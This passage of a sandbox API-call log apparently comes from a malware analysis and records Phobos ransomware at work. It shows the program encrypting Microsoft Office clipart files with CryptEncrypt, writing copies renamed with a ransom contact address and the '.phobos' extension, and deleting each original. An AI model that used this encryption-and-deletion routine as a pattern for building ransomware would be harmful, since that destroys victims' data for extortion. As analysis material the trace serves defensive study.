dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0058.620] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00160_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0058.620] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5fb00, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb5c | out: phKey=0x2e5fb5c*=0x10d170) returned 1 [0058.620] CryptSetKeyParam (hKey=0x10d170, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0058.620] ReadFile (in: hFile=0x304, lpBuffer=0x31c3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e5fb84, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesRead=0x2e5fb84*=0x57f4, lpOverlapped=0x0) returned 1 [0058.628] CryptEncrypt (in: hKey=0x10d170, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x5800, dwBufLen=0x5800 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x5800) returned 1 [0058.628] WriteFile (in: hFile=0x324, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0x5800, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0x5800, lpOverlapped=0x0) returned 1 [0058.629] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5faf4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb60 | out: phKey=0x2e5fb60*=0x10d0f0) returned 1 [0058.629] CryptSetKeyParam (hKey=0x10d0f0, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0058.629] CryptEncrypt (in: hKey=0x10d0f0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x40, dwBufLen=0x40 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x40) returned 1 [0058.629] CryptDestroyKey (hKey=0x10d0f0) returned 1 [0058.629] WriteFile (in: hFile=0x324, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0xf2, lpOverlapped=0x0) returned 1 [0058.629] CryptDestroyKey (hKey=0x10d170) returned 1 [0058.629] CloseHandle (hObject=0x304) returned 1 [0058.629] CloseHandle (hObject=0x324) returned 1 [0058.630] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00160_.wmf")) returned 1 [0058.632] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2e5fc08 | out: pbBuffer=0x2e5fc08) returned 1 [0058.632] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd05119_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0058.638] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x2e5fba8 | out: lpFileSize=0x2e5fba8*=17236) returned 1 [0058.638] CloseHandle (hObject=0x318) returned 1 [0058.639] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd05119_.wmf")) returned 0x220 [0058.639] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd05119_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0058.639] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd05119_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0058.639] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0058.639] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0058.639] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd05119_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0058.642] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5fb00, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb5c | out: phKey=0x2e5fb5c*=0x10cb30) returned 1 [0058.642] CryptSetKeyParam (hKey=0x10cb30, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0058.642] ReadFile (in: hFile=0x318, lpBuffer=0x31c3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e5fb84, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesRead=0x2e5fb84*=0x4354, lpOverlapped=0x0) returned 1 [0058.658] CryptEncrypt (in: hKey=0x10cb30, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x4360, dwBufLen=0x4360 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x4360) returned 1 [0058.658] WriteFile (in: hFile=0x308, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0x4360, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0x4360, lpOverlapped=0x0) returned 1 [0058.700] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5faf4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb60 | out: phKey=0x2e5fb60*=0x10cdf0) returned 1 [0058.700] CryptSetKeyParam (hKey=0x10cdf0, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0058.700] CryptEncrypt (in: hKey=0x10cdf0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x40, dwBufLen=0x40 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x40) returned 1 [0058.700] CryptDestroyKey (hKey=0x10cdf0) returned 1 [0058.700] WriteFile (in: hFile=0x308, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0xf2, lpOverlapped=0x0) returned 1 [0058.700] CryptDestroyKey (hKey=0x10cb30) returned 1 [0058.700] CloseHandle (hObject=0x318) returned 1 [0058.700] CloseHandle (hObject=0x308) returned 1 [0058.702] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd05119_.wmf")) returned 1 [0058.703] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2e5fc08 | out: pbBuffer=0x2e5fc08) returned 1 [0058.703] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd06200_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0058.703] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x2e5fba8 | out: lpFileSize=0x2e5fba8*=16676) returned 1 [0058.703] CloseHandle (hObject=0x308) returned 1 [0058.703] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd06200_.wmf")) returned 0x220 [0058.703] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd06200_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0058.704] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd06200_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0058.704] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0058.704] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0058.704] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd06200_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0058.704] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5fb00, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb5c | out: phKey=0x2e5fb5c*=0x10caf0) returned 1 [0058.704] CryptSetKeyParam (hKey=0x10caf0, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0058.704] ReadFile (in: hFile=0x308, lpBuffer=0x31c3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e5fb84, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesRead=0x2e5fb84*=0x4124, lpOverlapped=0x0) returned 1 [0058.730] CryptEncrypt (in: hKey=0x10caf0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x4130, dwBufLen=0x4130 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x4130) returned 1 [0058.730] WriteFile (in: hFile=0x318, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0x4130, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0x4130, lpOverlapped=0x0) returned 1 [0058.732] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5faf4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb60 | out: phKey=0x2e5fb60*=0x10cff0) returned 1 [0058.732] CryptSetKeyParam (hKey=0x10cff0, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0058.732] CryptEncrypt (in: hKey=0x10cff0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x40, dwBufLen=0x40 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x40) returned 1 [0058.732] CryptDestroyKey (hKey=0x10cff0) returned 1 [0058.732] WriteFile (in: hFile=0x318, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0xf2, lpOverlapped=0x0) returned 1 [0058.732] CryptDestroyKey (hKey=0x10caf0) returned 1 [0058.732] CloseHandle (hObject=0x308) returned 1 [0058.732] CloseHandle (hObject=0x318) returned 1 [0058.733] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd06200_.wmf")) returned 1 [0058.736] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2e5fc08 | out: pbBuffer=0x2e5fc08) returned 1 [0058.737] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07804_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0058.737] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x2e5fba8 | out: lpFileSize=0x2e5fba8*=4924) returned 1 [0058.737] CloseHandle (hObject=0x318) returned 1 [0058.737] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07804_.wmf")) returned 0x220 [0058.738] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07804_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0058.738] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07804_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0058.738] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0058.738] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0058.738] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07804_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0058.738] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5fb00, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb5c | out: phKey=0x2e5fb5c*=0x10d070) returned 1 [0058.738] CryptSetKeyParam (hKey=0x10d070, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0058.738] ReadFile (in: hFile=0x318, lpBuffer=0x31c3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e5fb84, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesRead=0x2e5fb84*=0x133c, lpOverlapped=0x0) returned 1 [0058.904] CryptEncrypt (in: hKey=0x10d070, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x1340, dwBufLen=0x1340 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x1340) returned 1 [0058.904] WriteFile (in: hFile=0x308, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0x1340, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0x1340, lpOverlapped=0x0) returned 1 [0058.906] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5faf4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb60 | out: phKey=0x2e5fb60*=0x10cdf0) returned 1 [0058.906] CryptSetKeyParam (hKey=0x10cdf0, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0058.906] CryptEncrypt (in: hKey=0x10cdf0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x40, dwBufLen=0x40 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x40) returned 1 [0058.906] CryptDestroyKey (hKey=0x10cdf0) returned 1 [0058.906] WriteFile (in: hFile=0x308, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0xf2, lpOverlapped=0x0) returned 1 [0058.906] CryptDestroyKey (hKey=0x10d070) returned 1 [0058.906] CloseHandle (hObject=0x318) returned 1 [0058.906] CloseHandle (hObject=0x308) returned 1 [0058.907] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07804_.wmf")) returned 1 [0058.908] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2e5fc08 | out: pbBuffer=0x2e5fc08) returned 1 [0058.908] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07831_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0058.909] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x2e5fba8 | out: lpFileSize=0x2e5fba8*=4066) returned 1 [0058.909] CloseHandle (hObject=0x308) returned 1 [0058.909] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07831_.wmf")) returned 0x220 [0058.909] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07831_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0058.909] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07831_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0058.909] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0058.909] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0058.909] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07831_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0058.910] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5fb00, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb5c | out: phKey=0x2e5fb5c*=0x10d170) returned 1 [0058.910] CryptSetKeyParam (hKey=0x10d170, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0058.910] ReadFile (in: hFile=0x308, lpBuffer=0x31c3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e5fb84, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesRead=0x2e5fb84*=0xfe2, lpOverlapped=0x0) returned 1 [0058.911] CryptEncrypt (in: hKey=0x10d170, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0xff0, dwBufLen=0xff0 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0xff0) returned 1 [0058.911] WriteFile (in: hFile=0x318, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0xff0, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0xff0, lpOverlapped=0x0) returned 1 [0058.912] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5faf4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb60 | out: phKey=0x2e5fb60*=0x10cf30) returned 1 [0058.913] CryptSetKeyParam (hKey=0x10cf30, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0058.913] CryptEncrypt (in: hKey=0x10cf30, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x40, dwBufLen=0x40 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x40) returned 1 [0058.913] CryptDestroyKey (hKey=0x10cf30) returned 1 [0058.913] WriteFile (in: hFile=0x318, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0xf2, lpOverlapped=0x0) returned 1 [0058.913] CryptDestroyKey (hKey=0x10d170) returned 1 [0058.913] CloseHandle (hObject=0x308) returned 1 [0058.913] CloseHandle (hObject=0x318) returned 1 [0058.914] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07831_.wmf")) returned 1 [0058.915] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2e5fc08 | out: pbBuffer=0x2e5fc08) returned 1 [0058.915] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08758_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0058.915] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x2e5fba8 | out: lpFileSize=0x2e5fba8*=24320) returned 1 [0058.915] CloseHandle (hObject=0x318) returned 1 [0058.915] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08758_.wmf")) returned 0x220 [0058.915] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08758_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0058.916] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08758_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0058.916] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0058.916] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0058.916] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08758_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0058.916] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5fb00, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb5c | out: phKey=0x2e5fb5c*=0x10d170) returned 1 [0058.916] CryptSetKeyParam (hKey=0x10d170, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0058.916] ReadFile (in: hFile=0x318, lpBuffer=0x31c3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e5fb84, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesRead=0x2e5fb84*=0x5f00, lpOverlapped=0x0) returned 1 [0058.933] CryptEncrypt (in: hKey=0x10d170, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x5f10, dwBufLen=0x5f10 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x5f10) returned 1 [0058.933] WriteFile (in: hFile=0x308, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0x5f10, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0x5f10, lpOverlapped=0x0) returned 1 [0058.935] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5faf4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb60 | out: phKey=0x2e5fb60*=0x10ce30) returned 1 [0058.935] CryptSetKeyParam (hKey=0x10ce30, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0058.935] CryptEncrypt (in: hKey=0x10ce30, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x40, dwBufLen=0x40 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x40) returned 1 [0058.935] CryptDestroyKey (hKey=0x10ce30) returned 1 [0058.935] WriteFile (in: hFile=0x308, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0xf2, lpOverlapped=0x0) returned 1 [0058.935] CryptDestroyKey 